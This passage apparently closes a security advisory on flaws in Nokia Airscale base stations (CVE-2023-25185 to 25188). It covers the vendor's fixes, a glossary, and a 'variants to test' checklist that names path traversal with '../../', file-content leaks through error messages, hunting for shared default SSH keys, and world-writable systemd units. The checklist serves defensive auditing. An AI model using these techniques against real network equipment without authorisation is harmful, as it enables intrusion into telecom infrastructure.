- AaShell is restricted to the loopback address, so it can only be reached after authenticating to the BTS, and the path traversal is fixed (CVE-2023-25186, CVE-2023-25188). The loopback address is the special address a machine uses to talk to itself, so the tool can no longer be reached from another computer on the network.
- Process privileges have been tightened to the required level (CVE-2023-25188).
- Commissioning procedures now change the Nokia default SSH keys to operator-specific ones (CVE-2023-25187).
- The privileges of the affected processes have been lowered as a hardening measure (CVE-2023-25185).
The researchers additionally recommended deleting the hard-coded public keys from future releases.
Variants to test
- Prefix checks on file-reading commands. On any diagnostic shell that accepts a path with a directory restriction, try traversal sequences such as
../../after the allowed prefix. A positive result is the command reading a file outside the intended directory, or an error message that echoes file content. - Error messages that reflect input. Where a parser echoes invalid lines, feed it a file whose lines are not valid commands. A positive result is file content appearing in error output.
- Unauthenticated diagnostic interfaces. Check whether management or diagnostic ports answer without credentials once hardening flags are disabled. A positive result is a prompt or command listing reachable over the network.
- Service account privileges. Run
ps auxon the target and look for network-facing daemons running as root. A positive result is an FTP, shell or logging service owned by root. - Default SSH keys in firmware images. Extract the filesystem and inspect
authorized_keysfor keys that also appear in the package. A positive result is a private key shipped alongside its public key, or the same public key across devices. - World-writable systemd units. List
/etc/systemd/system/and look for unit files writable by non-root users. A positive result is a unit file with world-write permission that a low-privileged user can modify and that runs as root.
Glossary
- AaShell: a diagnostic command line tool on the Nokia BTS, provided by the
CCSDaemonExeprogram, disabled by default. - Authentication: the process of proving who you are, usually with a username and password or a key.
- authorized_keys: a file in a user's home folder listing the public SSH keys allowed to log in as that user.
- Base transceiver station (BTS): the radio equipment at a mobile network cell site that communicates with phones.
- Command line interface: a way of controlling a program by typing text commands.
- CSP: communication service provider, the operator that runs the mobile network.
- CVE: a public catalogue number assigned to a known security vulnerability.
- CVSS: a standard scoring system for the severity of security vulnerabilities, with a vector string and a score from 0 to 10.
- Daemon: a program that runs in the background providing a service, without a user interface.
- Ethernet Port Security (SOE): a hardening feature on the BTS that locks down its network ports; the AaShell findings require it to be disabled.
- FTP: File Transfer Protocol, an older protocol for copying files between computers.
- Hard-coded: built into the software itself, identical on every copy, rather than generated per device.
- Hash: a one-way scrambling of data such as a password, from which the original cannot be read back.
- Least privilege: the principle that every user and program should have only the permissions it needs to do its job.
- Loopback address: the special address a machine uses to talk to itself, unreachable from other machines.
- Man-in-the-middle: an attacker positioned between two parties who can read or alter their traffic.
- Netcat: a small tool that opens a raw network connection and lets you type at the service on the other side.
- Path: the address of a file or folder inside a filesystem.
- Path traversal: a trick using
..segments in a path to escape an intended folder and reach files elsewhere. - Port: a numbered door on a computer behind which a particular service listens.
- Private key / public key: a matched pair used in public-key cryptography; the private key is kept secret and the public key is given out.
- Privilege escalation: moving from a low-powered account to a more powerful one, such as root.
- Process: a running program on a computer.
ps aux: a Linux command that lists all running processes with their owners and commands.- Remote code execution: getting a program on a target machine to run commands of the attacker's choosing.
- Root: the all-powerful administrator account on Linux.
- RSA: a standard public-key cryptography algorithm.
- Single RAN: Nokia's product line that the Airscale ASIKA baseband unit belongs to.
- SSH: the standard protocol for opening an encrypted terminal session on a Linux machine.
- systemd: the program on most Linux systems that starts and supervises services, using configuration files called units.
- UE: user equipment, meaning a phone or other device on the mobile network.
- Unit file: a systemd configuration file describing a service to run, as which user, and when.
- World-writable: a file permission that lets every user on the system write to the file.